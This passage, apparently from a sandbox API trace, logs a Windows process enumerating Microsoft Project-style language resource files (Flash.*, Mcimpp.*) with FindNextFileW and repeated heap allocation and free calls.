ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.JPN", cAlternateFileName="")) returned 1 [0083.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215fc0 [0083.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12abad8 [0083.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7580) returned 0x12bb0b0 [0083.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c9a80) returned 1 [0083.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.KOR", cAlternateFileName="")) returned 1 [0083.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215fe0 [0083.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12abbe0 [0083.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.442] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.mpp", cAlternateFileName="")) returned 1 [0083.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216000 [0083.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12abce8 [0083.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.444] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6b1000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.NLD", cAlternateFileName="")) returned 1 [0083.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216020 [0083.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12abdf0 [0083.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.446] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.NOR", cAlternateFileName="")) returned 1 [0083.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216040 [0083.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12abef8 [0083.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.447] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.PTB", cAlternateFileName="")) returned 1 [0083.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216060 [0083.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac000 [0083.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.449] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SUO", cAlternateFileName="")) returned 1 [0083.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216080 [0083.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac108 [0083.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.451] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SVE", cAlternateFileName="")) returned 1 [0083.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12160a0 [0083.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac210 [0083.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.452] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.CAT", cAlternateFileName="")) returned 1 [0083.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12160c0 [0083.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac318 [0083.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.454] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.CHS", cAlternateFileName="")) returned 1 [0083.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12160e0 [0083.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac420 [0083.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.455] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.CHT", cAlternateFileName="")) returned 1 [0083.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216100 [0083.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac528 [0083.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.457] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.DAN", cAlternateFileName="")) returned 1 [0083.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216120 [0083.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac630 [0083.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.459] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.DEU", cAlternateFileName="")) returned 1 [0083.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216140 [0083.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac738 [0083.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.460] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.ESP", cAlternateFileName="")) returned 1 [0083.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216160 [0083.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac840 [0083.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.462] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.EUQ", cAlternateFileName="")) returned 1 [0083.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216180 [0083.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ac948 [0083.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.464] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.FRA", cAlternateFileName="")) returned 1 [0083.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12161a0 [0083.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aca50 [0083.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.466] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.ITA", cAlternateFileName="")) returned 1 [0083.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12161c0 [0083.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12acb58 [0083.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x75c0) returned 0x12c2638 [0083.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0083.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.468] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.JPN", cAlternateFileName="")) returned 1 [0083.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12161e0 [0083.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12acc60 [0083.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.469] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.KOR", cAlternateFileName="")) returned 1 [0083.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216200 [0083.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12acd68 [0083.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.471] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1 [0083.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216220 [0083.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ace70 [0083.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.473] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: 